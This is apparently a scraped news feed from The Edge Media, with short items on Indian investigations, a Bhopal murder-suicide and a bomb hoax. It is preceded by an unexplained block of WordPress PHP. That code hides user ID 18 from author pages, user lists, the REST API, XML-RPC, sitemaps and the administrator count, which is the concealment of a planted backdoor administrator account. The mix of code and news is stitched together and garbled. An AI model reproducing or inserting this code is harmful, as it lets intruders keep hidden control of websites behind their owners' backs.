add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Raveendran, a retired SC judge, went from failing a law test to being a member of the Lodha commission on cricket and now the Pegasus investigation appeared first on The Edge Media.
]]>
A three-member technical team led by the former Supreme Court justice would conduct a “thorough investigation” into the situation. Experts in cyber security, digital forensics, networks, and hardware make up this committee.
Justice Raju Varadarajulu Raveendran began his legal career in March 1968 and was nominated to the Karnataka High Court as a permanent judge in February 1993. In July 2004, he was named Chief Justice of the Madhya Pradesh High Court.
The post Raveendran, a retired SC judge, went from failing a law test to being a member of the Lodha commission on cricket and now the Pegasus investigation appeared first on The Edge Media.
]]>The post “No Summons, Came for Work”: Aryan Khan Case Officer Lands in Delhi appeared first on The Edge Media.
]]>
“I stand by my investigation, 100 percent,” he told NDTV.
Mr. Wankhede’s travel to Delhi comes amid a storm over charges of payback and his spat with Maharashtra minister and NCP leader Nawab Malik.
The post “No Summons, Came for Work”: Aryan Khan Case Officer Lands in Delhi appeared first on The Edge Media.
]]>The post Farmers in Haryana have called off their protest after the government promised an investigation into the Karnal incident and SDM Ayush Sinha’s conduct appeared first on The Edge Media.
]]>The state administration has informed farmer union leaders that an inquiry committee, chaired by a senior judge, will be formed to investigate the August 28 Karnal tragedy and the role of IAS official Ayush Sinha. Sinha will be on leave until the investigation is completed.
Farmers have also been guaranteed that two family members of farmer Sushil Kajal (who died after a police lathi charge at the Bastara toll plaza on August 28) will be provided jobs.
The post Farmers in Haryana have called off their protest after the government promised an investigation into the Karnal incident and SDM Ayush Sinha’s conduct appeared first on The Edge Media.
]]>The post Jobless Engineer Slits Son’s Throat, Takes Poison With Wife: Cops appeared first on The Edge Media.
]]>His wife had also consumed poison with the man but survived.
The incident occurred during the intervening night of Friday and Saturday in Bhopal’s Misrod area, they said.
Both the man (55) and his wife were in acute depression, according to a primary probe based on the latter’s statements. Her statements also revealed that the couple had planned the entire episode nearly two to three days ago.
The post Jobless Engineer Slits Son’s Throat, Takes Poison With Wife: Cops appeared first on The Edge Media.
]]>The post Amitabh Bachchan’s bungalow has been beefed up after getting call about bomb appeared first on The Edge Media.
]]>Mumbai police’s main control room received the call on Friday night, in which the caller said that bombs have been placed at the Chhatrapati Shivaji Maharaj Terminus (CSMT), Byculla, Dadar railway stations and at actor Amitabh Bachchan’s bungalow in Juhu, the police official said.
After getting the call, the Government Railway Police, Railway Protection Force along with the Bomb Detection and Disposal Squad, dog squads and local police personnel rushed to these locations and carried out a search operation,” he said.
Nothing suspicious has been found so far at these place, but heavy police deployment has been put in place at there,” he said, adding that further investigation is on.
The post Amitabh Bachchan’s bungalow has been beefed up after getting call about bomb appeared first on The Edge Media.
]]>The post Adani Group has not received any communication from SEBI and DRI, says company spokesperson appeared first on The Edge Media.
]]>Earlier today, in a written response to Parliament, the Government has said several Adani Group companies are being investigated by the SEBI and DRI.
“We have always been transparent with all our regulators and have full faith in them. While we have always been fully compliant with applicable SEBI regulations, we have made full disclosure to SEBI on specific information requests from them in the past,” the spokesperson said.
However, they added that Adani Group has not received any communication or information requests recently.
With regard to the DRI matter, the Spokesperson said the investigation agency issued a show-cause notice to Adani Power, about five years back.
Subsequently, DRI passed an order in favour of Adani Power confirming that there is no over-valuation of equipment. The department has approached the Tribunal and the matter stands sub judice now,” they said adding, “Adani Group is a responsible corporate citizen and strongly believes in compliance of applicable laws and adheres to prudent corporate governance framework.”
The post Adani Group has not received any communication from SEBI and DRI, says company spokesperson appeared first on The Edge Media.
]]>The post Sushant Singh Rajput Death Case: Unidentified Person Brought In For Investigation appeared first on The Edge Media.
]]>“A meeting of CBI officers, who arrived from Delhi yesterday, is underway at airforce transit facility in Santacruz, Mumbai”, sources said.
On August 19, while holding that the FIR registered in Patna over the death of Bollywood actor was legitimate, the Supreme Court directed the CBI to investigate the case.
The single-judge bench of Justice Hrishikesh Roy also said the Bihar Government was competent to recommend transferring the case to the CBI.
The apex court also asked the Mumbai Police to hand over all the evidence collected so far in the case to the CBI. The State of Maharashtra refused the option to challenge the order, Justice Roy said.
The CBI has registered an FIR against Rhea Chakraborty and others in connection with the actor’s death after the Centre accepted Bihar Government’s recommendation to transfer the probe in the matter from Patna.
An FIR was registered in Patna on a complaint filed by KK Singh, Rajput’s father, under sections related to abetment to suicide. Rajput was found dead at his Mumbai residence on June 14.
– PTI
The post Sushant Singh Rajput Death Case: Unidentified Person Brought In For Investigation appeared first on The Edge Media.
]]>